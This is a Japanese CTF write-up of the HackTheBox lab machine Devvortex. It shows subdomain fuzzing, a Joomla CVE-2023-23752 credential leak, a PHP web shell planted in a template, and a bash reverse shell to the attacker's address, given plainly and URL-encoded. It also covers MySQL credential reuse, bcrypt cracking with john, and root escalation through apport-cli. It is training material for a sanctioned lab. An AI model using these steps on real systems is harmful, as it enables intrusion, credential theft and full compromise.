HackTheBox Devvortex WriteUp

今回はHackTheBoxのEasyマシン「Devvortex」のWriteUpです！
名前から開発系？のような雰囲気が出ている気がしなくもないですが、どのようなマシンなのでしょうか。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/3204ab4d-712c-ade5-3336-d76e71c51ecd.png)

グラフはまさにEasyマシン！といった感じになっていますね。
攻略目指して頑張ります！

HackTheBoxって何？という方は下記の記事を見てみてください！一緒にハッキングしましょう〜！

https://qiita.com/WhizOwl/items/165783694cb4791cff34

また、HackTheBoxで学習する上で役にたつサイトやツールをまとめている記事もあるので、合わせてみてみてください！

https://qiita.com/Perplex/items/30f949fe261f56af7476

## Devvortex

### 列挙

それでは攻略を開始していきます！
まずはポートスキャンから実行していきましょう。

```bash
+[~/devvortex]
(σ▰>∇<)σ<>$ sudo nmap -Pn -sVC --min-rate=1000 -v -p- 10.10.11.242

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://devvortex.htb/
```

SSHとHTTPがオープンしてますね。
80番にブラウザからアクセスしてみましょう。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/ac211961-628c-afcd-8766-d77c674879ca.png)

どうやら、DevvortexはWEBの制作を行うサイトのようです。
サイトの中を見て回りましたが、特に気になる遷移は見つかりませんでした。

ディレクトリ探索も特に新しい情報を得ることはできなかったので、サブドメインを列挙することにしました。```ffuf```を実行してみると...

```
+[~/devvortex]
(σ▰>∇<)σ<10.10.14.4>$ ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/namelist.txt -u http://devvortex.htb -H 'HOST: FUZZ.devvortex.htb' -fc 302

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://devvortex.htb
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/namelist.txt
 :: Header           : Host: FUZZ.devvortex.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response status: 302
________________________________________________

dev                     [Status: 200, Size: 23221, Words: 5081, Lines: 502, Duration: 7427ms]
```

```dev```というサブドメインを発見しました。マシンの名前にピッタリですね笑
```hosts```ファイルに追記し、ブラウザでアクセスしてみましょう。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/a2ac85c9-cc85-5096-8f22-cdb123ae9d32.png)

先ほどのページと書いてあることは特に変わらなさそうに見えますが、新たなサイトを発見できました。
しかしこちらのサイトも特に気になる遷移はないので、ディレクトリ探索を行ってみます。

```
+[~/devvortex]
(σ▰>∇<)σ<10.10.14.4>$ ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -u http://dev.devvortex.htb/FUZZ    

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://dev.devvortex.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

administrator           [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 227ms]
api                     [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 174ms]
cache                   [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 195ms]
components              [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 208ms]
home                    [Status: 200, Size: 23221, Words: 5081, Lines: 502, Duration: 1310ms]
images                  [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 360ms]
includes                [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 188ms]
index.php               [Status: 200, Size: 23221, Words: 5081, Lines: 502, Duration: 1479ms]
language                [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 178ms]
layouts                 [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 208ms]
libraries               [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 387ms]
media                   [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 350ms]
modules                 [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 174ms]
plugins                 [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 174ms]
robots.txt              [Status: 200, Size: 764, Words: 78, Lines: 30, Duration: 316ms]
templates               [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 296ms]
tmp                     [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 369ms]
```

複数のファイル / ディレクトリを発見しました。
まずは```administratior```が気になるので確認してみます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/04489278-2bde-1677-5761-7ef05b5cdef3.png)

```Joomla!```のログインページが表示されました。認証情報を取得できればRCEへつなげることができそうです。

### CVE-2023-23752

では、認証情報を取得するためにさらに列挙を進めていきます。まず一番最初に知りたいのは```Joomla!```のバージョンです。```Joomla!```の攻撃手法については、様々な手法が紹介されており、HackTricksにも情報が載っています。

https://book.hacktricks.xyz/v/jp/network-services-pentesting/pentesting-web/joomla

記事にも記載されているとおり、バージョンを確認したい場合は```/administrator/manifests/files/joomla.xml```へアクセスするといいみたいです。アクセスしてみましょう。

```bash
+[~/devvortex]
(σ▰>∇<)σ<10.10.14.4>$ curl http://dev.devvortex.htb/administrator/manifests/files/joomla.xml      
<?xml version="1.0" encoding="UTF-8"?>
<extension type="file" method="upgrade">
	<name>files_joomla</name>
	<author>Joomla! Project</author>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<copyright>(C) 2019 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<version>4.2.6</version>
	<creationDate>2022-12</creationDate>
	<description>FILES_JOOMLA_XML_DESCRIPTION</description>
...
```

バージョンが```4.2.6```であることがわかりました！このバージョンに脆弱性がないか調べてみると、ちょうど先ほど引用したHackTricksの記事にも情報がありました。

:::note warn
ページから引用
バージョン4.0.0から4.2.7までが認証なしの情報漏洩（CVE-2023-23752）に脆弱であり、資格情報やその他の情報をダンプします。
:::

どうやら、認証を必要とせずに情報漏洩を行ってしまう脆弱性が存在するようです。設定ファイルを見ることでログインに使用できる認証情報を取得できそうなので、こちらもアクセスしてみましょう。

```bash
+[~/devvortex]
(σ▰>∇<)σ<10.10.14.4>$ curl http://dev.devvortex.htb/api/index.php/v1/config/application?public=true
{"links":
  {
  "self":"http:\/\/dev.devvortex.htb\/api\/index.php\/v1\/config\/application?public=true",
  "next":"http:\/\/dev.devvortex.htb\/api\/index.php\/v1\/config\/application?public=true&page%5Boffset%5D=20&page%5Blimit%5D=20",
  "last":"http:\/\/dev.devvortex.htb\/api\/index.php\/v1\/config\/application?public=true&page%5Boffset%5D=60&page%5Blimit%5D=20"
  },
  "data":[
    {
    ...
    {"type":"application","id":"224","attributes":{"user":"lewis","id":224}},
    {"type":"application","id":"224","attributes":{"password":"P4ntherg0t1n5r3c0n##","id":224}},
    {"type":"application","id":"224","attributes":{"db":"joomla","id":224}},
    {"type":"application","id":"224","attributes":{"dbprefix":"sd4fg_","id":224}},
    ...
```

ユーザ名とパスワードが出力されました！
この認証情報を使用してログインしましょう。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/65f8ce1a-58cd-ca5b-05b7-4394f85aafaa.png)

ログインに成功しました！

### RCE

ログインに成功したので、あとはRCEを発火させるだけです。RCEはテンプレートを編集し発火させます。
まずは```System```に移動します。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/1a1921c4-c16a-cda9-e3a2-fc981e8bd059.png)

```System```の中の```Site Templates```を押下し、存在するテンプレート（```Cassiopeia Details and Files```）を押下します。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/571627d8-9910-3189-9668-c5e2365cc982.png)

複数ファイルが出てくるので、その中の```error.php```を選択し、2行目に```<?php system($_GET['cmd']); ?>```を追加します。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/d3a05f61-bb35-587e-880f-d0d44784835b.png)

追加出来たら```Save```を押下し、セーブします。
うまくセーブできたら、```/templates/cassiopeia/error.php```へ```?cmd=id```を指定した状態でアクセスしましょう。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/f4495a57-ef3c-1083-589f-d36df054ab0f.png)

コマンドの実行に成功しました！

## www-data としてのシェル

それでは、シェルを取得します。
コマンドはいつものように以下をURLエンコードし使用します。

```bash
> plain
bash -c 'bash -i >& /dev/tcp/10.10.14.4/2121 0>&1'

> url encode
%62%61%73%68%20%2d%63%20%27%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%30%2e%31%30%2e%31%34%2e%34%2f%32%31%32%31%20%30%3e%26%31%27
```

実行前に待ち受けだけは忘れないようにしてください。
準備ができたら、```cmd```パラメータにURLエンコード後のコマンドを指定し```error.php```へアクセスします。
特に画面表示はないですが、待ち受けを確認すると...

```bash
+[~/devvortex]
(σ▰>∇<)σ<10.10.14.4>$ nc -lnvp 2121
listening on [any] 2121 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.11.242] 59714
bash: cannot set terminal process group (858): Inappropriate ioctl for device
bash: no job control in this shell
www-data@devvortex:~/dev.devvortex.htb/templates/cassiopeia$ whoami
whoami
www-data
```

シェルの取得に成功しました！

### 横移動

それでは、ここからローカルユーザへ横移動を目指していきます。
まずは、どのようなユーザが存在しているか確認しましょう。

```bash
www-data@devvortex:~$ ls -l /home
ls -l /home
total 4
drwxr-xr-x 3 logan logan 4096 Nov 21 11:04 logan
```

```logan```というユーザが存在しているようです。
そういえばですが、```Joomla!```のユーザ一覧にも```logan```ユーザが存在していました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/bd46a5e2-ad55-89ac-53e5-b4658d966062.png)

データベース内に情報が保存されているようなので、MySQLにアクセスすればパスワードが取得できそうです。
```Joomla!```は、```configuration.php```にデータベースの情報が登録されているので、確認してみましょう。

```bash
www-data@devvortex:~/dev.devvortex.htb$ cat configuration.php
<?php
class JConfig {
	public $offline = false;
	public $offline_message = 'This site is down for maintenance.<br>Please check back again soon.';
	public $display_offline_message = 1;
	public $offline_image = '';
	public $sitename = 'Development';
    ...
    public $dbtype = 'mysqli';
	public $host = 'localhost';
	public $user = 'lewis';
	public $password = 'P4ntherg0t1n5r3c0n##';
    ...
```

どうやらログイン情報と同じ情報でMySQLへ接続できそうです。
接続してみましょう。

```bash
www-data@devvortex:~/dev.devvortex.htb$ mysql -u lewis -p                   
Enter password: 
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 4786
Server version: 8.0.35-0ubuntu0.20.04.1 (Ubuntu)

Copyright (c) 2000, 2023, Oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql>
```

接続できました！

### Hack Crack

それではデータベース内の探索を始めましょう。
まずはデータベースの一覧を確認します。

```
mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| joomla             |
| performance_schema |
+--------------------+
3 rows in set (0.00 sec)
```

```joomla```というデータベースがありますね。このデータベースを使用するように設定し、テーブルを検索しましょう。

```
mysql> use joomla
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
+-------------------------------+
| Tables_in_joomla              |
+-------------------------------+
| sd4fg_action_log_config       |
| sd4fg_action_logs             |
| sd4fg_action_logs_extensions  |
| sd4fg_action_logs_users       |
| sd4fg_assets                  |
...
| sd4fg_usergroups              |
| sd4fg_users                   |
| sd4fg_viewlevels              |
...
```

```sd4fg_users```というテーブルにユーザの情報が保存されていそうです。
テーブル内を検索していきましょう。

```
mysql> select * from sd4fg_users;
+-----+------------+----------+---------------------+--------------------------------------------------------------+-------+-----------+---------------------+---------------------+------------+---------------------------------------------------------------------------------------------------------------------------------------------------------+---------------+------------+--------+------+--------------+--------------+
| id  | name       | username | email               | password                                                     | block | sendEmail | registerDate        | lastvisitDate       | activation | params                                                                                                                                                  | lastResetTime | resetCount | otpKey | otep | requireReset | authProvider |
+-----+------------+----------+---------------------+--------------------------------------------------------------+-------+-----------+---------------------+---------------------+------------+---------------------------------------------------------------------------------------------------------------------------------------------------------+---------------+------------+--------+------+--------------+--------------+
| 649 | lewis      | lewis    | lewis@devvortex.htb | $2y$10$6V52x.SD8Xc7hNlVwUTrI.ax4BIAYuhVBMVvnYWRceBmy8XdEzm1u |     0 |         1 | 2023-09-25 16:44:24 | 2024-04-28 02:56:46 | 0          |                                                                                                                                                         | NULL          |          0 |        |      |            0 |              |
| 650 | logan paul | logan    | logan@devvortex.htb | $2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12 |     0 |         0 | 2023-09-26 19:15:42 | NULL                |            | {"admin_style":"","admin_language":"","language":"","editor":"","timezone":"","a11y_mono":"0","a11y_contrast":"0","a11y_highlight":"0","a11y_font":"0"} | NULL          |          0 |        |      |            0 |              |
+-----+------------+----------+---------------------+--------------------------------------------------------------+-------+-----------+---------------------+---------------------+------------+---------------------------------------------------------
```

```logan```ユーザのハッシュを取得できました！
解読できるか試してみましょう。

```bash
+[~/devvortex]
(σ▰>∇<)σ<10.10.14.4>$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt 
Created directory: /home/kali/.john
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 6 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
tequieromucho    (?)     
1g 0:00:00:08 DONE (2024-04-27 23:43) 0.1219g/s 171.2p/s 171.2c/s 171.2C/s dianita..harry
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 
```

解読できました！

## logan としてのシェル

それでは解読したパスワードを使用してSSHログインが可能か試してみましょう。

```bash
+[~/devvortex]
(σ▰>∇<)σ<10.10.14.4>$ ssh logan@10.10.11.242                         
logan@10.10.11.242s password: 
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-167-generic x86_64)

logan@devvortex:~$ whoami
logan
```

SSHログインに成功です！横移動ができました。

```bash
logan@devvortex:~$ ls -l
total 4
-rw-r----- 1 root logan 33 Apr 28 01:54 user.txt
```

ユーザフラグも取得できました！

### 権限昇格

攻略もいよいよ終盤です。権限昇格を目指しましょう。
まずはいつものように```sudo -l```を実行していきます。

```bash
logan@devvortex:~$ sudo -l
[sudo] password for logan: 
Matching Defaults entries for logan on devvortex:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User logan may run the following commands on devvortex:
    (ALL : ALL) /usr/bin/apport-cli
```

どうやら```apport-cli```を```root```の権限で実行できるようです。

:::note warn
apport-cli とは？
コマンドラインからクラッシュやエラーの報告を行うためのツールです。
アプリケーションがクラッシュしたときに、このツールを使って自動的にクラッシュ情報を収集し、バグレポートを作成することが可能です。
:::

GTFObinsには攻撃手法がなかったので、Googleで検索してみると以下の記事を発見しました。

https://vk9-sec.com/cve-2023-1326privilege-escalation-apport-cli-2-26-0/

どうやら```apport-cli```のバージョンが```2.26.0```以下である場合、権限昇格の脆弱性が存在しているようです。バージョンを確認してみましょう。

```bash
logan@devvortex:~$ sudo /usr/bin/apport-cli -v
2.20.11
```

脆弱なバージョンでした！

### CVE-2023–1326

それでは記事を参考に権限昇格を行いましょう。
まずは```sudo```を使用して```apport-cli```を実行しましょう。オプションとして```--file-bug```を指定します。

```bash
logan@devvortex:~$ sudo /usr/bin/apport-cli --file-bug

*** What kind of problem do you want to report?

Choices:
  1: Display (X.org)
  2: External or internal storage devices (e. g. USB sticks)
  3: Security related problems
  4: Sound/audio related problems
  5: dist-upgrade
  6: installation
  7: installer
  8: release-upgrade
  9: ubuntu-release-upgrader
  10: Other problem
  C: Cancel
Please choose (1/2/3/4/5/6/7/8/9/10/C):
```

選択するオプションは適当に設定します。

```bash
What would you like to do? Your options are:
  S: Send report (717.4 KB)
  V: View report
  K: Keep report file for sending later or copying to somewhere else
  I: Cancel and ignore future crashes of this program version
  C: Cancel
Please choose (S/V/K/I/C):
```

最終的に```V: View report```を選択できる状態になったら「```V```」を入力します。

```bash
== ApportVersion =================================
2.20.11-0ubuntu27

== Architecture =================================
amd64

== CasperMD5CheckResult =================================
skip

== CurrentDmesg =================================
[    0.000000] Linux version 5.4.0-167-generic (buildd@lcy02-amd64-010) (gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.2)) #184-Ubuntu SMP Tue Oct 31 09:21:49 UTC 2023 (Ubuntu 5.4.0-167.184-generic 5.4.252)
...
[    0.000002] tsc: Detected 2294.609 MHz processor
[    0.004590] e820: update [mem 0x00000000-0x00000fff] usable ==> reserved
:
```

入力すると、レポートの画面になります。

## root としてのシェル

レポートの画面の一番下に入力箇所があるので、そこに```!/bin/bash```を入力します。

```bash
[    0.000002] tsc: Detected 2294.609 MHz processor
[    0.004590] e820: update [mem 0x00000000-0x00000fff] usable ==> reserved
:!/bin/bash
```

入力後、Enterを押します。
レポート画面が終了し、戻ってきたシェルを見てみると...

```bash
Please choose (S/V/K/I/C): V
root@devvortex:/home/logan# whoami
root
```

```root```のシェルを取得できました！
権限昇格成功です！

```bash
root@devvortex:~# ls -l
total 4
-rw-r----- 1 root root 33 Apr 28 01:54 root.txt
```

ルートフラグも無事取得できました！完全攻略達成です！

### 攻略を終えて

今回のマシンはサクサク攻略できて、とても楽しかったです～！Easyマシンということもあったので、脆弱性もわかりやすく列挙も基本に忠実だったので初心者の方にもおすすめしたいマシンだなと思いました！
今回の初期侵入は```Joomla!```のバージョンが脆弱なことから認証情報を取得するといったパスでした。権限昇格でも脆弱なバージョンを悪用しました。バージョン管理は楽ではないとわかっていますが、今回のマシンのような事象を引き起こさないように今後も注意喚起を行っていきたいです。
今後もHackTheBoxのWriteUpを公開していきますので、見ていただけると嬉しいです！
最後まで閲覧していただき、ありがとうございました～～！